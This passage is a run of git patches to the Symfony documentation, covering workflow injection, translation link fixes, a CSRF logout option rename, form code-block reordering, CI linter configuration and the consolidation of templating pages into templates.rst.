+MailPace            ``composer require symfony/mail-pace-mailer``
 Infobip             ``composer require symfony/infobip-mailer``
 ==================  ==============================================
 

From 79358aacc45b0d570e1b527ba8979afb6835cfdf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Jan 2023 18:39:09 +0100
Subject: [PATCH 4198/7107] [FrameworkBundle][Workflow] Register alias for
 argument for workflow services with workflow name only

---
 workflow.rst | 33 +++++++++++++++++++++++++++++----
 1 file changed, 29 insertions(+), 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 9163b58809c..f08bfb48338 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,12 +248,9 @@ machine type, use ``camelCased workflow name + StateMachine``::
 
     class MyClass
     {
-        private $blogPublishingWorkflow;
-
         // Symfony will inject the 'blog_publishing' workflow configured before
-        public function __construct(WorkflowInterface $blogPublishingWorkflow)
+        public function __construct(private readonly WorkflowInterface $blogPublishingWorkflow)
         {
-            $this->blogPublishingWorkflow = $blogPublishingWorkflow;
         }
 
         public function toReview(BlogPost $post)
@@ -268,10 +265,38 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
+Workflows can also be injected thanks to their name and the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
+attribute::
+
+    use App\Entity\BlogPost;
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+    use Symfony\Component\Workflow\WorkflowInterface;
+
+    class MyClass
+    {
+        public function __construct(
+            #[Target('blog_publishing')]
+            private readonly WorkflowInterface $workflow
+        ) {
+        }
+
+        // ...
+    }
+
+This allows you to decorrelate the argument name of any implementation
+name.
+
 .. versionadded:: 6.2
 
     All workflows and state machines services are tagged since in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    Injecting a workflow with only its name and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target` was
+    introduced in Symfony 6.3.
+
 .. tip::
 
     If you want to retrieve all workflows, for documentation purposes for example,

From 817e4e756c2b2e2fc72a3102d8394ec25f0aed0a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:16:54 +0100
Subject: [PATCH 4199/7107] Fix translation refs

---
 reference/dic_tags.rst | 2 +-
 routing.rst            | 2 +-
 translation.rst        | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 14227fe6b9e..6123c5c04d2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -642,7 +642,7 @@ register it as a service, then tag it with ``kernel.fragment_renderer``.
 kernel.locale_aware
 -------------------
 
-**Purpose**: To access and use the current :doc:`locale </translation/locale>`
+**Purpose**: To access and use the current :ref:`locale <translation-locale>`
 
 Setting and retrieving the locale can be done via configuration or using
 container parameters, listeners, route parameters or the current request.
diff --git a/routing.rst b/routing.rst
index 08a561020ab..de258200f91 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2267,7 +2267,7 @@ Localized Routes (i18n)
 -----------------------
 
 If your application is translated into multiple languages, each route can define
-a different URL per each :doc:`translation locale </translation/locale>`. This
+a different URL per each :ref:`translation locale <translation-locale>`. This
 avoids the need for duplicating routes, which also reduces the potential bugs:
 
 .. configuration-block::
diff --git a/translation.rst b/translation.rst
index 7288c4d217c..93aae7c771e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -42,7 +42,7 @@ The translation process has several steps:
 #. :ref:`Create translation resources/files <translation-resources>`
    for each supported locale that translate each message in the application;
 
-#. Determine, :doc:`set and manage the user's locale </translation/locale>`
+#. Determine, :ref:`set and manage the user's locale <translation-locale>`
    for the request and optionally
    :ref:`on the user's entire session <locale-sticky-session>`.
 

From 04bd7c9cc94b50187ddcb9680237a213b290ddf5 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:18:28 +0100
Subject: [PATCH 4200/7107] Fix markup

---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 93aae7c771e..12b62c6ce12 100644
--- a/translation.rst
+++ b/translation.rst
@@ -410,9 +410,9 @@ You can also specify the message domain and pass some additional variables:
 
 .. caution::
 
-Using the translation tag has the same effect as the filter, but with one
-major difference: automatic output escaping is **not** applied to translations
-using a tag.
+    Using the translation tag has the same effect as the filter, but with one
+    major difference: automatic output escaping is **not** applied to translations
+    using a tag.
 
 Forcing the Translator Locale
 -----------------------------

From 35313fe907a865339ad27c2f2ee8fcc2fbb76afb Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 21:21:09 +0100
Subject: [PATCH 4201/7107] Fix broken links

---
 translation.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 12b62c6ce12..052844f70a8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -568,9 +568,8 @@ if you're generating translations with specialized programs or teams.
 .. note::
 
     You can also store translations in a database; it can be handled by
-    Doctrine through the `Translatable Extension`_ or the `Translatable
-    Behavior`_ (PHP 5.4+). For more information, see the documentation for
-    these libraries.
+    Doctrine through the `Translatable Extension`_ or the `Translatable Behavior`_
+    (PHP 5.4+). For more information, see the documentation for these libraries.
 
     For any other storage, you need to provide a custom class implementing the
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
@@ -699,8 +698,8 @@ configure the ``providers`` option:
 .. tip::
 
     If you use Lokalise as a provider and a locale format following the `ISO
-    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name
-    setting`_ in Lokalise for each of your locales, in order to override the
+    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name setting`_
+    in Lokalise for each of your locales, in order to override the
     default value (which follow the `ISO 639-1`_ succeeded by a sub-code in
     capital letters that specifies the national variety (e.g. "GB" or "US"
     according to `ISO 3166-1 alpha-2`_)).

From ced6562566d13944247de6d2c6e353356bf202a5 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Tue, 29 Nov 2022 13:53:45 +0100
Subject: [PATCH 4202/7107] =?UTF-8?q?[Security]=20Rename=20logout=E2=80=99?=
 =?UTF-8?q?s=20`csrf=5Ftoken=5Fgenerator`=20to=20`csrf=5Ftoken=5Fmanager`?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 10365ab21bf..f0f28a00180 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -465,8 +465,8 @@ enable_csrf
 **type**: ``boolean`` **default**: ``null``
 
 Set this option to ``true`` to enable CSRF protection in the logout process
-using Symfony's default CSRF token generator. Set also the ``csrf_token_generator``
-option if you need to use a custom CSRF token generator.
+using Symfony's default CSRF token manager. Set also the ``csrf_token_manager``
+option if you need to use a custom CSRF token manager.
 
 .. versionadded:: 6.2
 
@@ -479,8 +479,8 @@ csrf_parameter
 
 The name of the parameter that stores the CSRF token value.
 
-csrf_token_generator
-~~~~~~~~~~~~~~~~~~~~
+csrf_token_manager
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 

From d13dce3b03e2614a8befd09cae792aab072c8be8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 10:44:29 +0100
Subject: [PATCH 4203/7107] Remove obsolete versionadded directive

---
 service_container/lazy_services.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 2194d0e632c..7e4e54733e6 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -105,11 +105,6 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
-.. versionadded:: 5.4
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
-    was introduced in Symfony 5.4.
-
 Interface Proxifying
 --------------------
 
@@ -184,11 +179,6 @@ parameter value::
         // ...
     }
 
-.. versionadded:: 5.4
-
-    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute
-    was introduced in Symfony 5.4.
-
 The virtual `proxy`_ injected into other services will only implement the
 specified interfaces and will not extend the original service class, allowing to
 lazy load services using `final`_ classes. You can configure the proxy to

From cb9660ad6af7ba5b98608f9df464b90bbd41cb6c Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 30 Jan 2023 14:44:14 +0300
Subject: [PATCH 4204/7107] Update expressions.rst

add complex is_granted and is_granted example
---
 security/expressions.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 070cf1deaa7..15e2eb3995c 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -34,6 +34,23 @@ and ``#[IsGranted()]`` attribute also accept an
                 // ...
             }
         }
+    .. code-block:: php-attributes
+
+        // src/Controller/MyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\ExpressionLanguage\Expression;
+        use Symfony\Component\HttpFoundation\Response;
+
+        class MyController extends AbstractController
+        {
+            #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))]
+            public function index(): Response
+            {
+                // ...
+            }
+        }
 
     .. code-block:: php
 

From be1e3215900691ae6f6c98ee1208c0aa57744463 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:14:27 +0100
Subject: [PATCH 4205/7107] Fix: Order of code-blocks

---
 components/form.rst | 190 ++++++++++++++++++++++----------------------
 1 file changed, 95 insertions(+), 95 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index ef1e1ed609c..ac569e3d8eb 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -387,22 +387,6 @@ is created from the form factory.
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-
-        // ...
-
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
-        var_dump($twig->render('new.html.twig', [
-            'form' => $form->createView(),
-        ]));
-
     .. code-block:: php-symfony
 
         // src/Controller/TaskController.php
@@ -431,6 +415,22 @@ is created from the form factory.
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+
+        // ...
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
+        var_dump($twig->render('new.html.twig', [
+            'form' => $form->createView(),
+        ]));
+
 As you can see, creating a form is like writing a recipe: you call ``add()``
 for each new field you want to create. The first argument to ``add()`` is the
 name of your field, and the second is the fully qualified class name. The Form
@@ -447,23 +447,6 @@ an "edit" form), pass in the default data when creating your form builder:
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\FormType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-
-        // ...
-
-        $defaults = [
-            'dueDate' => new \DateTime('tomorrow'),
-        ];
-
-        $form = $formFactory->createBuilder(FormType::class, $defaults)
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -490,6 +473,23 @@ an "edit" form), pass in the default data when creating your form builder:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\FormType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+
+        // ...
+
+        $defaults = [
+            'dueDate' => new \DateTime('tomorrow'),
+        ];
+
+        $form = $formFactory->createBuilder(FormType::class, $defaults)
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
 .. tip::
 
     In this example, the default data is an array. Later, when you use the
@@ -533,19 +533,6 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\FormType;
-
-        // ...
-
-        $formBuilder = $formFactory->createBuilder(FormType::class, null, [
-            'action' => '/search',
-            'method' => 'GET',
-        ]);
-
-        // ...
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -567,46 +554,28 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
             }
         }
 
-.. _component-form-intro-handling-submission:
-
-Handling Form Submissions
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest`
-method:
-
-.. configuration-block::
-
     .. code-block:: php-standalone
 
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\HttpFoundation\RedirectResponse;
-        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\Form\Extension\Core\Type\FormType;
 
         // ...
 
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class)
-            ->add('dueDate', DateType::class)
-            ->getForm();
-
-        $request = Request::createFromGlobals();
-
-        $form->handleRequest($request);
+        $formBuilder = $formFactory->createBuilder(FormType::class, null, [
+            'action' => '/search',
+            'method' => 'GET',
+        ]);
 
-        if ($form->isSubmitted() && $form->isValid()) {
-            $data = $form->getData();
+        // ...
 
-            // ... perform some action, such as saving the data to the database
+.. _component-form-intro-handling-submission:
 
-            $response = new RedirectResponse('/task/success');
-            $response->prepare($request);
+Handling Form Submissions
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-            return $response->send();
-        }
+To handle form submissions, use the :method:`Symfony\\Component\\Form\\Form::handleRequest`
+method:
 
-        // ...
+.. configuration-block::
 
     .. code-block:: php-symfony
 
@@ -640,6 +609,37 @@ method:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\RedirectResponse;
+        use Symfony\Component\HttpFoundation\Request;
+
+        // ...
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class)
+            ->add('dueDate', DateType::class)
+            ->getForm();
+
+        $request = Request::createFromGlobals();
+
+        $form->handleRequest($request);
+
+        if ($form->isSubmitted() && $form->isValid()) {
+            $data = $form->getData();
+
+            // ... perform some action, such as saving the data to the database
+
+            $response = new RedirectResponse('/task/success');
+            $response->prepare($request);
+
+            return $response->send();
+        }
+
+        // ...
+
 .. caution::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
@@ -672,25 +672,6 @@ option when building each field:
 
 .. configuration-block::
 
-    .. code-block:: php-standalone
-
-        use Symfony\Component\Form\Extension\Core\Type\DateType;
-        use Symfony\Component\Form\Extension\Core\Type\TextType;
-        use Symfony\Component\Validator\Constraints\NotBlank;
-        use Symfony\Component\Validator\Constraints\Type;
-
-        $form = $formFactory->createBuilder()
-            ->add('task', TextType::class, [
-                'constraints' => new NotBlank(),
-            ])
-            ->add('dueDate', DateType::class, [
-                'constraints' => [
-                    new NotBlank(),
-                    new Type(\DateTime::class),
-                ],
-            ])
-            ->getForm();
-
     .. code-block:: php-symfony
 
         // src/Controller/DefaultController.php
@@ -721,6 +702,25 @@ option when building each field:
             }
         }
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Form\Extension\Core\Type\DateType;
+        use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\Validator\Constraints\NotBlank;
+        use Symfony\Component\Validator\Constraints\Type;
+
+        $form = $formFactory->createBuilder()
+            ->add('task', TextType::class, [
+                'constraints' => new NotBlank(),
+            ])
+            ->add('dueDate', DateType::class, [
+                'constraints' => [
+                    new NotBlank(),
+                    new Type(\DateTime::class),
+                ],
+            ])
+            ->getForm();
+
 When the form is bound, these validation constraints will be applied automatically
 and the errors will display next to the fields on error.
 

From 1dbb1dc67d4514c351e0e448fb24eba54d997223 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:27:13 +0100
Subject: [PATCH 4206/7107] Use specific DOCtor-RST version

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c501b1a54fa..48fc477767a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst
+                uses: docker://oskarstark/doctor-rst:1.35.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 38a337e4a0a8cff397c9137ba28ae9e4d8bf6e87 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:29:32 +0100
Subject: [PATCH 4207/7107] Remove unused whitelist entries from DOCtor-RST
 config

---
 .doctor-rst.yaml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 16703c616b1..9247ed41dfe 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -72,7 +72,6 @@ rules:
 whitelist:
     regex:
         - '/FOSUserBundle(.*)\.yml/'
-        - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
     lines:
@@ -85,13 +84,10 @@ whitelist:
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 5.1' # Private Services
-        - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
-        - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
         - '.. versionadded:: 0.2' # MercureBundle
-        - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle

From 94075af27db9531cd319e92b1ad6a4b7aaf35deb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 30 Jan 2023 16:42:44 +0100
Subject: [PATCH 4208/7107] Fix: DOCtor-RST build

---
 .doctor-rst.yaml | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b475aac4a84..35fc2eed110 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -71,7 +71,7 @@ rules:
 # do not report as violation
 whitelist:
     regex:
-        - '/FOSUserBundle(.*)\.yml/'
+        - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
     lines:
@@ -84,9 +84,6 @@ whitelist:
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
         - '.. versionadded:: 2.7.1' # Doctrine
-        - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
-        - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
-        - '.. versionadded:: 5.1' # Private Services
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'

From fa3a677b52f86a6914bdfb0a352d7d672e5d0d36 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 29 Jan 2023 16:41:33 +0100
Subject: [PATCH 4209/7107] Consolidate templating docs

---
 _build/redirection_map                |   6 +-
 reference/configuration/framework.rst |   2 +-
 reference/configuration/twig.rst      |   2 +-
 reference/dic_tags.rst                |   2 +-
 reference/twig_reference.rst          |   2 +-
 security/csrf.rst                     |   2 +-
 templates.rst                         | 405 +++++++++++++++++++++++++-
 templating/PHP.rst                    |  10 -
 templating/global_variables.rst       | 116 --------
 templating/hinclude.rst               |  99 -------
 templating/twig_extension.rst         | 172 -----------
 11 files changed, 403 insertions(+), 415 deletions(-)
 delete mode 100644 templating/PHP.rst
 delete mode 100644 templating/global_variables.rst
 delete mode 100644 templating/hinclude.rst
 delete mode 100644 templating/twig_extension.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 082598a5081..7a7534a765f 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -256,7 +256,8 @@
 /cookbook/session/proxy_examples /session/proxy_examples
 /cookbook/session/sessions_directory /session/sessions_directory
 /cookbook/symfony1 /introduction/symfony1
-/cookbook/templating/global_variables /templating/global_variables
+/cookbook/templating/global_variables /templating#templating-global-variables
+/templating/global_variables /templating#templating-global-variables
 /cookbook/templating/index /templating
 /cookbook/templating/namespaced_paths /templating/namespaced_paths
 /cookbook/templating/PHP /templating/PHP
@@ -388,6 +389,9 @@
 /quick_tour/the_view /quick_tour/flex_recipes
 /service_container/service_locators /service_container/service_subscribers_locators
 /templating/overriding /bundles/override
+/templating/twig_extension /templates#templates-twig-extension
+/templating/hinclude /templates#templates-hinclude
+/templating/PHP /templates
 /security/custom_provider /security/user_provider
 /security/multiple_user_providers /security/user_provider
 /security/custom_password_authenticator /security/guard_authentication
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ae42b5607cd..66e9d7f9f76 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -736,7 +736,7 @@ is disabled. This can be either a template name or the content itself.
 
 .. seealso::
 
-    See :doc:`/templating/hinclude` for more information about hinclude.
+    See :ref:`templates-hinclude` for more information about hinclude.
 
 .. _reference-fragments-path:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 29b22fb3e28..d7a6e64916b 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -231,7 +231,7 @@ globals
 **type**: ``array`` **default**: ``[]``
 
 It defines the global variables injected automatically into all Twig templates.
-Learn more about :doc:`Twig global variables </templating/global_variables>`.
+Learn more about :ref:`Twig global variables <templating-global-variables>`.
 
 number_format
 ~~~~~~~~~~~~~
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 6123c5c04d2..c1e2c902605 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1287,7 +1287,7 @@ the service is auto-registered and auto-tagged. But, you can also register it ma
 
 For information on how to create the actual Twig Extension class, see
 `Twig's documentation`_ on the topic or read the
-:doc:`/templating/twig_extension` article.
+:ref:`templates-twig-extension` article.
 
 twig.loader
 -----------
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 5f89688991b..85c44bd57a3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -12,7 +12,7 @@ components with Twig templates. This article explains them all.
 .. tip::
 
     If these extensions provided by Symfony are not enough, you can
-    :doc:`create a custom Twig extension </templating/twig_extension>` to define
+    :ref:`create a custom Twig extension <templates-twig-extension>` to define
     even more filters and functions.
 
 .. _reference-twig-functions:
diff --git a/security/csrf.rst b/security/csrf.rst
index 12a00ef185c..5e659be9750 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -71,7 +71,7 @@ protected forms. As an alternative, you can:
 * Embed the form inside an uncached :doc:`ESI fragment </http_cache/esi>` and
   cache the rest of the page contents;
 * Cache the entire page and load the form via an uncached AJAX request;
-* Cache the entire page and use :doc:`hinclude.js </templating/hinclude>` to
+* Cache the entire page and use :ref:`hinclude.js <templates-hinclude>` to
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
diff --git a/templates.rst b/templates.rst
index 280a5f9b6df..f61b0efd6d5 100644
--- a/templates.rst
+++ b/templates.rst
@@ -9,6 +9,10 @@ whether you need to render HTML from a :doc:`controller </controller>` or genera
 the :doc:`contents of an email </mailer>`. Templates in Symfony are created with
 Twig: a flexible, fast, and secure template engine.
 
+.. caution::
+
+    Starting from Symfony 5.0, PHP templates are no longer supported.
+
 .. _twig-language:
 
 Twig Templating Language
@@ -56,7 +60,7 @@ being rendered, like the ``upper`` filter to uppercase contents:
 Twig comes with a long list of `tags`_, `filters`_ and `functions`_ that are
 available by default. In Symfony applications you can also use these
 :doc:`Twig filters and functions defined by Symfony </reference/twig_reference>`
-and you can :doc:`create your own Twig filters and functions </templating/twig_extension>`.
+and you can :ref:`create your own Twig filters and functions <templates-twig-extension>`.
 
 Twig is fast in the ``prod`` :ref:`environment <configuration-environments>`
 (because templates are compiled into PHP and cached automatically), but
@@ -407,7 +411,125 @@ gives you access to these variables:
     object representing the security token.
 
 In addition to the global ``app`` variable injected by Symfony, you can also
-:doc:`inject variables automatically to all Twig templates </templating/global_variables>`.
+inject variables automatically to all Twig templates as explained in the next
+section.
+
+.. index::
+   single: Templating; Global variables
+
+.. _templating-global-variables:
+
+Global Variables
+~~~~~~~~~~~~~~~~
+
+Twig allows you to automatically inject one or more variables into all
+templates. These global variables are defined in the ``twig.globals`` option
+inside the main Twig configuration file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            # ...
+            globals:
+                ga_tracking: 'UA-xxxxx-x'
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <!-- ... -->
+                <twig:global key="ga_tracking">UA-xxxxx-x</twig:global>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            // ...
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
+
+Now, the variable ``ga_tracking`` is available in all Twig templates, so you
+can use it without having to pass it explicitly from the controller or service
+that renders the template:
+
+.. code-block:: html+twig
+
+    <p>The Google tracking code is: {{ ga_tracking }}</p>
+
+In addition to static values, Twig global variables can also reference services
+from the :doc:`service container </service_container>`. The main drawback is
+that these services are not loaded lazily. In other words, as soon as Twig is
+loaded, your service is instantiated, even if you never use that global
+variable.
+
+To define a service as a global Twig variable, prefix the service ID string
+with the ``@`` character, which is the usual syntax to :ref:`refer to services
+in container parameters <service-container-parameters>`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/twig.yaml
+        twig:
+            # ...
+            globals:
+                # the value is the service's id
+                uuid: '@App\Generator\UuidGenerator'
+
+    .. code-block:: xml
+
+        <!-- config/packages/twig.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:twig="http://symfony.com/schema/dic/twig"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/twig
+                https://symfony.com/schema/dic/twig/twig-1.0.xsd">
+
+            <twig:config>
+                <!-- ... -->
+                <twig:global key="uuid" id="App\Generator\UuidGenerator" type="service"/>
+            </twig:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/twig.php
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            // ...
+
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
+        };
+
+Now you can use the ``uuid`` variable in any Twig template to access to the
+``UuidGenerator`` service:
+
+.. code-block:: twig
+
+    UUID: {{ uuid.generate }}
 
 Twig Components
 ---------------
@@ -682,7 +804,7 @@ Inspecting Twig Information
 
 The ``debug:twig`` command lists all the information available about Twig
 (functions, filters, global variables, etc.). It's useful to check if your
-:doc:`custom Twig extensions </templating/twig_extension>` are working properly
+:ref:`custom Twig extensions <templates-twig-extension>` are working properly
 and also to check the Twig features added when :ref:`installing packages <symfony-flex>`:
 
 .. code-block:: terminal
@@ -906,10 +1028,103 @@ template fragments. Configure that special URL in the ``fragments`` option:
     the application performance if you embed lots of controllers. If possible,
     :doc:`cache the template fragment </http_cache/esi>`.
 
-.. seealso::
+.. index::
+    single: Templating; hinclude.js
+
+.. _templates-hinclude:
+
+How to Embed Asynchronous Content with hinclude.js
+--------------------------------------------------
+
+Templates can also embed contents asynchronously with the ``hinclude.js``
+JavaScript library.
+
+First, include the `hinclude.js`_ library in your page
+:ref:`linking to it <templates-link-to-assets>` from the template or adding it
+to your application JavaScript :doc:`using Webpack Encore </frontend>`.
+
